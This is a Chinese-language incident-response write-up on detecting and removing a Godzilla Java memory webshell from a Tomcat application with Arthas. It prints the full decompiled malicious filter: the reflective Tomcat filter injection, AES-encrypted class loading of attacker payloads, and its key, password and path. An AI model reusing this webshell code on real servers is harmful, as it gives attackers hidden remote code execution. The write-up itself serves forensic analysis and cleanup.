流量分析

首先,我们已经通过流量确定是存在了java内存码了

上机排查

首先确认我们项目使用的框架是什么,这里使用的是tomcat框架

Arthas

然后确认java进程,通过看外连找到了java内存码进程

然后就可以使用Arthas来检查了

java -jar arthas-boot.jar


首先会让你选择java进程然后进行分析,刚刚已经确定了进程的pid,就可以直接选了,然后使用命令

dashboard


可以排查其中的java类,看看有没有使用的危险类

sc *.Filter


其中就发现了明显是哥斯拉的信息,说明这个内存码是哥斯拉的内存码,因为在一开始就确认了我们的框架的tomcat,而tomcat最常见的就是filter 和 Servlet 这两个,所以这样可以直接找到可疑类了
同时,输入

classloader

也可以看到有问题的类

确认到了可疑的类之后可以先看一下这个类的详细信息

sc -d com.summersec.x.GodzillaFilter


这里主要是看code-source参数,正常的类会显示来自哪个jar包或者目录,而内存马就会显示空的,然后就可以直接反编译这个类

jad com.summersec.x.GodzillaFilter
[arthas@1477766]$ jad com.summersec.x.GodzillaFilter

ClassLoader:                                                                                                                                                                                                                            
+-com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader@7f9d149d                                                                                                                                               
                                                                                                                                                                                                    
                                                                                                                                                                                                                    
                                                                                                                                                                                                                   
                                                                                                                                                                                                    
                                                                                                                                                                     
    +-org.springframework.boot.loader.LaunchedURLClassLoader@68de145                                                                                                                                                                    
      +-sun.misc.Launcher$AppClassLoader@74a14482                                                                                                                                                                                       
        +-sun.misc.Launcher$ExtClassLoader@548a102f                                                                                                                                                                                     

Location:                                                                                                                                                                                                                               

        /*
         * Decompiled with CFR.
         * 
         * Could not load the following classes:
         *  javax.servlet.DispatcherType
         *  javax.servlet.Filter
         *  javax.servlet.FilterChain
         *  javax.servlet.FilterConfig
         *  javax.servlet.FilterRegistration$Dynamic
         *  javax.servlet.ServletContext
         *  javax.servlet.ServletException
         *  javax.servlet.ServletRequest
         *  javax.servlet.ServletResponse
         *  javax.servlet.http.HttpServletRequest
         *  javax.servlet.http.HttpServletResponse
         *  javax.servlet.http.HttpSession
         *  org.apache.catalina.LifecycleState
         *  org.apache.catalina.core.ApplicationContext
         *  org.apache.catalina.core.StandardContext
         *  org.apache.catalina.util.LifecycleBase
         */
        package com.summersec.x;
        
        import java.io.ByteArrayOutputStream;
        import java.io.IOException;
        import java.lang.reflect.Field;
        import java.lang.reflect.Method;
        import java.math.BigInteger;
        import java.security.MessageDigest;
        import java.util.EnumSet;
        import javax.crypto.Cipher;
        import javax.crypto.spec.SecretKeySpec;
        import javax.servlet.DispatcherType;
        import javax.servlet.Filter;
        import javax.servlet.FilterChain;
        import javax.servlet.FilterConfig;
        import javax.servlet.FilterRegistration;
        import javax.servlet.ServletContext;
        import javax.servlet.ServletException;
        import javax.servlet.ServletRequest;
        import javax.servlet.ServletResponse;
        import javax.servlet.http.HttpServletRequest;
        import javax.servlet.http.HttpServletResponse;
        import javax.servlet.http.HttpSession;
        import org.apache.catalina.LifecycleState;
        import org.apache.catalina.core.ApplicationContext;
        import org.apache.catalina.core.StandardContext;
        import org.apache.catalina.util.LifecycleBase;
        
        public class GodzillaFilter
        extends ClassLoader
        implements Filter {
            public HttpServletRequest request = null;
            public HttpServletResponse response = null;
            String xc = "3c6e0b8a9c15224a";
            public String Pwd = "pass1024";
            public String path = "/favicondemo.ico";
            String md5 = GodzillaFilter.md5(this.Pwd + this.xc);
            public String cs = "UTF-8";
        
            public void parseObj(Object obj) {
                block8: {
/*145*/             if (obj.getClass().isArray()) {
/*146*/                 Object[] data = (Object[])obj;
/*147*/                 this.request = (HttpServletRequest)data[0];
/*148*/                 this.response = (HttpServletResponse)data[1];
                    } else {
                        try {
/*151*/                     Class<?> clazz = Class.forName("javax.servlet.jsp.PageContext");
/*152*/                     this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);
/*153*/                     this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
                        }
                        catch (Exception var8) {
/*155*/                     if (!(obj instanceof HttpServletRequest)) break block8;
/*156*/                     this.request = (HttpServletRequest)obj;
                            try {
/*159*/                         Field req = this.request.getClass().getDeclaredField("request");
/*160*/                         req.setAccessible(true);
/*161*/                         HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
/*162*/                         Field resp = request2.getClass().getDeclaredField("response");
/*163*/                         resp.setAccessible(true);
/*164*/                         this.response = (HttpServletResponse)resp.get(request2);
                            }
                            catch (Exception var7) {
                                try {
/*167*/                             this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
                                }
                                catch (Exception exception) {
                                    // empty catch block
                                }
                            }
                        }
                    }
                }
            }
        
            public static String md5(String s) {
/* 65*/         String ret = null;
                try {
/* 68*/             MessageDigest m = MessageDigest.getInstance("MD5");
/* 69*/             m.update(s.getBytes(), 0, s.length());
                    ret = new BigInteger(1, m.digest()).toString(16).toUpperCase();
                }
                catch (Exception exception) {
                    // empty catch block
                }
/* 74*/         return ret;
            }
        
            public Class Q(byte[] cb) {
/* 51*/         return super.defineClass(cb, 0, cb.length);
            }
        
            public static String base64Encode(byte[] bs) throws Exception {
/* 78*/         String value = null;
                try {
/* 82*/             Class<?> base64 = Class.forName("java.util.Base64");
/* 83*/             Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
/* 84*/             value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, new Object[]{bs});
                }
                catch (Exception var6) {
                    try {
/* 87*/                 Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
/* 88*/                 Object Encoder = base64.newInstance();
/* 89*/                 value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, new Object[]{bs});
                    }
                    catch (Exception exception) {
                        // empty catch block
                    }
                }
/* 94*/         return value;
            }
        
            public static byte[] base64Decode(String bs) throws Exception {
/* 98*/         byte[] value = null;
                try {
/*102*/             Class<?> base64 = Class.forName("java.util.Base64");
/*103*/             Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
/*104*/             value = (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
                }
                catch (Exception var6) {
                    try {
/*107*/                 Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
/*108*/                 Object decoder = base64.newInstance();
/*109*/                 value = (byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
                    }
                    catch (Exception exception) {
                        // empty catch block
                    }
                }
/*114*/         return value;
            }
        
            /*
             * WARNING - Removed try catching itself - possible behaviour change.
             */
            public String addFilter() throws Exception {
/*178*/         ServletContext servletContext = this.request.getServletContext();
/*179*/         GodzillaFilter filter = this;
/*180*/         String filterName = this.path;
/*181*/         String url = this.path;
/*182*/         if (servletContext.getFilterRegistration(filterName) == null) {
                    String var11;
/*183*/             Field contextField = null;
/*184*/             ApplicationContext applicationContext = null;
/*185*/             StandardContext standardContext = null;
/*186*/             Field stateField = null;
/*187*/             FilterRegistration.Dynamic filterRegistration = null;
                    try {
                        String var25;
                        Class<?> filterMap;
/*191*/                 contextField = servletContext.getClass().getDeclaredField("context");
/*192*/                 contextField.setAccessible(true);
/*193*/                 applicationContext = (ApplicationContext)contextField.get(servletContext);
/*194*/                 contextField = applicationContext.getClass().getDeclaredField("context");
/*195*/                 contextField.setAccessible(true);
/*196*/                 standardContext = (StandardContext)contextField.get(applicationContext);
/*197*/                 stateField = LifecycleBase.class.getDeclaredField("state");
/*198*/                 stateField.setAccessible(true);
/*199*/                 stateField.set(standardContext, LifecycleState.STARTING_PREP);
/*200*/                 filterRegistration = servletContext.addFilter(filterName, (Filter)filter);
/*201*/                 filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
/*202*/                 Method filterStartMethod = StandardContext.class.getMethod("filterStart", new Class[0]);
/*203*/                 filterStartMethod.setAccessible(true);
/*204*/                 filterStartMethod.invoke(standardContext, null);
/*205*/                 stateField.set(standardContext, LifecycleState.STARTED);
/*206*/                 Object var112 = null;
                        try {
/*210*/                     filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                        }
                        catch (Exception var21) {
/*212*/                     filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
                        }
/*215*/                 Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps", new Class[0]);
/*216*/                 Object[] filterMaps = (Object[])findFilterMaps.invoke(standardContext, new Object[0]);
/*218*/                 for (int i = 0; i < filterMaps.length; ++i) {
/*219*/                     Object filterMapObj = filterMaps[i];
                            findFilterMaps = filterMap.getMethod("getFilterName", new Class[0]);
                            String name = (String)findFilterMaps.invoke(filterMapObj, new Object[0]);
/*222*/                     if (!name.equalsIgnoreCase(filterName)) continue;
/*223*/                     filterMaps[i] = filterMaps[0];
/*224*/                     filterMaps[0] = filterMapObj;
                        }
                        String string = var25 = "Success";
/*233*/                 stateField.set(standardContext, LifecycleState.STARTED);
/*229*/                 return string;
                    }
                    catch (Exception var22) {
/*231*/                 var11 = var22.getMessage();
                    }
                    finally {
/*233*/                 stateField.set(standardContext, LifecycleState.STARTED);
                    }
/*236*/             return var11;
                }
/*238*/         return "Filter already exists";
            }
        
            public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
                try {
/*247*/             HttpServletRequest request = (HttpServletRequest)req;
/*248*/             HttpServletResponse response = (HttpServletResponse)resp;
/*249*/             HttpSession session = request.getSession();
/*250*/             byte[] data = GodzillaFilter.base64Decode(req.getParameter(this.Pwd));
/*251*/             data = this.x(data, false);
/*252*/             if (session.getAttribute("payload") == null) {
/*253*/                 session.setAttribute("payload", (Object)new GodzillaFilter(this.getClass().getClassLoader()).Q(data));
                    } else {
/*255*/                 request.setAttribute("parameters", (Object)data);
                        ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
/*257*/                 Object f = ((Class)session.getAttribute("payload")).newInstance();
/*258*/                 f.equals(arrOut);
/*259*/                 f.equals(data);
/*260*/                 response.getWriter().write(this.md5.substring(0, 16));
/*261*/                 f.toString();
/*262*/                 response.getWriter().write(GodzillaFilter.base64Encode(this.x(arrOut.toByteArray(), true)));
/*263*/                 response.getWriter().write(this.md5.substring(16));
                    }
                }
                catch (Exception exception) {
                    // empty catch block
                }
            }
        
            public GodzillaFilter(ClassLoader z) {
/* 45*/         super(z);
            }
        
            public GodzillaFilter() {
            }
        
            public boolean equals(Object obj) {
/*118*/         this.parseObj(obj);
/*119*/         this.Pwd = this.request.getHeader("p");
/*120*/         this.path = this.request.getHeader("path");
                StringBuffer output = new StringBuffer();
/*122*/         String tag_s = "->|";
/*123*/         String tag_e = "|<-";
                try {
/*126*/             this.response.setContentType("text/html");
/*127*/             this.request.setCharacterEncoding(this.cs);
/*128*/             this.response.setCharacterEncoding(this.cs);
/*129*/             output.append(this.addFilter());
                }
                catch (Exception var7) {
/*131*/             output.append("error:" + var7.toString());
                }
                try {
/*135*/             this.response.getWriter().print(tag_s + output.toString() + tag_e);
/*136*/             this.response.getWriter().flush();
/*137*/             this.response.getWriter().close();
                }
                catch (Exception exception) {
                    // empty catch block
                }
/*141*/         return true;
            }
        
            public void init(FilterConfig filterConfig) throws ServletException {
            }
        
            public void destroy() {
            }
        
            public byte[] x(byte[] s, boolean m) {
                try {
/* 56*/             Cipher c = Cipher.getInstance("AES");
/* 57*/             c.init(m ? 1 : 2, new SecretKeySpec(this.xc.getBytes(), "AES"));
/* 58*/             return c.doFinal(s);
                }
                catch (Exception var4) {
/* 60*/             return null;
                }
            }
        }

Affect(row-cnt:1) cost in 2979 ms.

在这个反编译以后的代码中,就可以找到内存码所在的路径,密码,密钥等等信息

String xc = "3c6e0b8a9c15224a";
            public String Pwd = "pass1024";
            public String path = "/favicondemo.ico";

并且可以根据其中的类加载器确定攻击者的攻击链

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader

通过这个可以确认攻击者不是通过正常的文件上传进行来的,系统内存在反序列化漏洞,因为攻击者是利用了漏洞传入恶意的字节码,触发了TemplatesImpl动态加载包含了addFilter() 逻辑的类

应急处置

热加载

因为生产环境不能轻易的重启,所以可以使用热加载的方法把内存码给排除
首先导出内存马的源码

jad --source-only com.summersec.x.GodzillaFilter > /tmp/GodzillaFilter.java

然后修改源码,把其中的doFilter内容全部清空,修改为标准的过滤器放行逻辑,这里如果还有其他恶意逻辑(如 equals 方法里调用了 parseObj),也可以一并清空,只保留 return true;。
然后在 Arthas 界面再重新编译这个类

mc /tmp/GodzillaFilter.java -d /tmp

最后进行热加载

retransform /tmp/com/summersec/x/GodzillaFilter.class

后续如果需要完全恢复或者释放,可以执行

retransform --deleteAll

内存拔除

又或者使用 vmtool 把路由映射给删掉

vmtool --action getInstances --className org.apache.catalina.core.StandardContext --express 'instances[0].removeFilterMap(instances[0].findFilterMaps().{? #this.getFilterName()=="/favicondemo.ico"}[0])'

然后把内存马在容器里的实例定义彻底抹去

vmtool --action getInstances --className org.apache.catalina.core.StandardContext --express 'instances[0].removeFilterDef(instances[0].findFilterDefs().{? #this.getFilterName()=="/favicondemo.ico"}[0])'

这个时候再去访问恶意路径 /favicondemo.ico 就发现已经没有这个恶意路径了,这里就完成了不关机重启。

最后就可以根据信息进行溯源排查了